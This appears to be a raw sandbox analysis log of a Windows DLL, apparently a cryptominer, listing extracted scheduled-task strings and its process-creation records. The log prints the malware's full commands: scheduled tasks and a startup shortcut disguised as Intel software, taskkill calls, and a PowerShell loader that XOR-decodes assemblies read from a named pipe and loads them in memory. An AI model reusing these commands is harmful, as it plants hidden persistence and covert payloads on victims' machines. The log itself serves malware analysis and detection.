Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: --install
Source: rundll32.exe	String found in binary or memory: ./InstallError.txt
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: tteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>tru
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSe
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: ngs> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartO
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>
Source: rundll32.exe	String found in binary or memory: artIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate>

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\JkICQ13OOY.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstallUserOnly
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe Mainer.dll,Dummy
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainer
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstall
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstallUserOnly
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",Dummy
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DotNetRuntimeDebugHeader
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerUserOnly
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerSmartAndSilent
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7732 -s 380
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "Write-Host 'Dummy process started. Press Ctrl+C to exit.'; while ($true) { try { Start-Sleep -Seconds 1 } catch { Write-Host 'Close signal received. Exiting...'; break } }"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\taskkill.exe "taskkill" /F /IM powershell.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_Helper /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\schtasks.exe "schtasks.exe" /Delete /TN IntelProfileUpdater_OnLogOnDaily /F
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut('C:\Users\user\AppData\Roaming/Microsoft/Windows/Start Menu/Programs/Startup/IntelManagementuser.lnk') $Shortcut.TargetPath = 'powershell.exe' $Shortcut.Description = 'The Intel Management user (ME) is an embedded microcontroller running on a dedicated microprocessor integrated into Intel chipsets.' $Shortcut.Arguments = '-NoProfile -ExecutionPolicy Bypass -Command C:\Windows\System32\rundll32.exe "C:\Users\user\AppData\Roaming/IntelManagementUnit/Mainer.dll",DllMainerUserOnly' $Shortcut.WindowStyle = 7 $Shortcut.Save()
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_OnLogOnDaily\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_OnLogOnDaily /xml C:\Users\user\AppData\Local\task.xml
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "schtasks /create /tn \"IntelProfileUpdater_Helper\" /xml \"C:\Users\user\AppData\Local\task.xml\""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn IntelProfileUpdater_Helper /xml C:\Users\user\AppData\Local\task.xml
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"GLSXQXRVFAHVDEQYPRSDVGLAEEFHUSGJKSWIUJCYTRNPAMDOUHMAIYAEEBPXFFTUYFACQTGLCVYRNSSHYWFWFOKLAJSVUCDOKGIGITRSISPPMSNOBNSJHLJGXIPDNLBS\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 21504;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"LXUACJGCHJQDEYDGSNQXYJQGFJMGQKRJPWRHKFILVEKMQAQLQIGQRGMOGMXGBBDBLKMWPJKULMBQPXWHUFCXYTKCBESBUWOKFPHBSEPSYYAUBJXTYXPNJDXVBPCECGSP\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 156160;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 18944;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -Command "function Load-Assembly($asmBytes) { # XOR the assembly byte array $xorKey = 164 [byte[]] $decodedBytes = New-Object byte[] $asmBytes.Length for ($i = 0; $i -lt $asmBytes.Length; $i++) { $decodedBytes[$i] = $asmBytes[$i] -bxor $xorKey } # Load the assembly from the modified byte array $assembly = [System.Reflection.Assembly]::Load($decodedBytes) # Search for a Program class and a Main method to invoke $programType = $assembly.GetType(\"Program\", $false) if ($programType -ne $null) { $mainMethod = $programType.GetMethod(\"Main\", [System.Reflection.BindingFlags] \"Static,Public,NonPublic\") if ($mainMethod -ne $null -and $mainMethod.GetParameters().Length -eq 1 -and $mainMethod.GetParameters()[0].ParameterType -eq [string[]]) { $arguments = [System.String[]]@(\"--powershell\") $mainMethod.Invoke($null, [System.Object[]]@(,$arguments)) } else { #throw \"No entry point found.\"; } } else { #throw \"Program class not found.\"; } } $a = [System.Reflection.Assembly]::LoadFrom(\"C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll\"); $in_pipe = New-Object System.IO.Pipes.NamedPipeClientStream(\"MKVJMXBCRWWOUVEMTDUWQIHXBQGAJWWVNHRKQRRWQFJJKQLQDUAMSCSMTRQMPIGQMRUXJCBJAWINPSYTEBWUSBXLEFTCFYAERPGJYGUJVRKAINIJYABRUTKDFRYTLNAF\"); $in_pipe.Connect(); # Get the current process ID $processId = [System.Diagnostics.Process]::GetCurrentProcess().Id # Convert the process ID to byte array $bytes = [System.BitConverter]::GetBytes($processId) # Assuming $in_pipe is a System.IO.Pipes.PipeStream or similar # You would write the byte array to it like this: $in_pipe.Write($bytes, 0, $bytes.Length) $in_pipe.Flush() $buffer = new-object byte[] 98616;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;$buffer = new-object byte[] 3887104;$rrrr=$in_pipe.Read($buffer, 0, $buffer.Length);$aaaa=Load-Assembly($buffer);;;;"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\JkICQ13OOY.dll,DllMainerInstallUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstall	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerInstallUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",Dummy	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DotNetRuntimeDebugHeader	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerUserOnly	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",DllMainerSmartAndSilent	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\JkICQ13OOY.dll",#1	Jump to behavior
